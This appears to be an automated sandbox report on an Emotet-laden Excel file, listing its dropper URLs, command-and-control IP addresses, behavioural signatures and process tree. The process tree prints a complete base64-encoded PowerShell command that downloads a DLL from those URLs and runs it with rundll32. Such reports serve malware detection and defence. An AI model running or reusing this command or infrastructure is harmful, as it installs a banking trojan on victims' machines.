Analysis
- max time kernel
130s - max time network
150s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
25/01/2022, 15:59
General
- Target tmpykzz4uf6.xls
- Size 144KB
- Sample220125-te4t8safe7
- SHA256 de01bf8d43aa0cfae4320ceca546a8e17b8bc2cad5188fb0fa947186f2ce1dc4
Malware Config
Extracted
-
ps1
-
exe.dropper
http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/
-
exe.dropper
http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/
-
exe.dropper
http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/
-
exe.dropper
http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/
-
exe.dropper
http://bimesarayenovin.ir/wp-admin/z464/
-
exe.dropper
http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/
-
exe.dropper
http://gardeningfilm.com/wp-content/Ef/
-
exe.dropper
http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/
-
exe.dropper
https://100lamp.com.ua:443/sale/a/
-
exe.dropper
http://queenofluv.com/uemsub/peLSdHCvfhkge/
Extracted
-
emotet
-
Epoch4
-
51.77.82.125:443
-
69.197.160.180:8080
-
103.75.201.2:443
-
173.212.193.249:8080
-
45.118.135.203:7080
-
45.118.115.99:8080
-
162.243.175.63:443
-
192.254.71.210:443
-
50.116.54.215:443
-
51.38.71.0:443
-
138.185.72.26:8080
-
131.100.24.231:80
-
212.237.5.209:443
-
209.59.138.75:7080
-
176.104.106.96:8080
-
107.182.225.142:8080
-
45.142.114.231:8080
-
212.237.56.116:7080
-
207.38.84.195:8080
-
158.69.222.101:443
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 3 IoCs
- Downloads MZ/PE file
- Loads dropped DLL 2 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 16 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpykzz4uf6.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\programdata\uylcsekn.bat" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\windows\syswow64\rundll32.exe"C:\windows\syswow64\rundll32.exe" c:\programdata\1263259695.dll,f1830064544⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "c:\programdata\1263259695.dll",DllRegisterServer5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Sextuyuhlmzucn\bthhsofb.okg",IwWNFmVSrKfq6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Sextuyuhlmzucn\bthhsofb.okg",DllRegisterServer7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/952-340-0x0000000004CF0000-0x0000000004D15000-memory.dmp
memory/2168-299-0x0000023D18630000-0x0000023D186A6000-memory.dmp
memory/2168-306-0x0000023D183A0000-0x0000023D183A2000-memory.dmp
memory/2168-311-0x0000023D183A6000-0x0000023D183A8000-memory.dmp
memory/2168-296-0x0000023D18340000-0x0000023D18362000-memory.dmp
memory/2168-307-0x0000023D183A3000-0x0000023D183A5000-memory.dmp
memory/2376-323-0x00000000031C0000-0x00000000031E5000-memory.dmp
memory/2656-120-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/2656-123-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/2656-289-0x000001EAF2A90000-0x000001EAF2A94000-memory.dmp
memory/2656-131-0x00007FFD6F570000-0x00007FFD6F580000-memory.dmp
memory/2656-119-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/2656-130-0x00007FFD6F570000-0x00007FFD6F580000-memory.dmp
memory/2656-118-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/2656-391-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/2656-390-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/2656-389-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/2656-388-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/2656-117-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/2872-349-0x0000000004870000-0x0000000004895000-memory.dmp
memory/2872-343-0x0000000000B50000-0x0000000000B75000-memory.dmp
memory/2872-344-0x0000000000D20000-0x0000000000D45000-memory.dmp
memory/2872-351-0x0000000004950000-0x0000000004975000-memory.dmp
memory/2872-353-0x0000000004A30000-0x0000000004A55000-memory.dmp
memory/2872-355-0x0000000004B10000-0x0000000004B35000-memory.dmp
memory/2872-359-0x0000000004D50000-0x0000000004D75000-memory.dmp
memory/3196-339-0x0000000005730000-0x0000000005755000-memory.dmp
memory/3196-337-0x00000000055A0000-0x00000000055C5000-memory.dmp
memory/3196-335-0x0000000005540000-0x0000000005565000-memory.dmp
memory/3196-333-0x00000000054E0000-0x0000000005505000-memory.dmp
memory/3196-328-0x0000000003770000-0x0000000003795000-memory.dmp
memory/3196-326-0x00000000034C0000-0x00000000034E5000-memory.dmp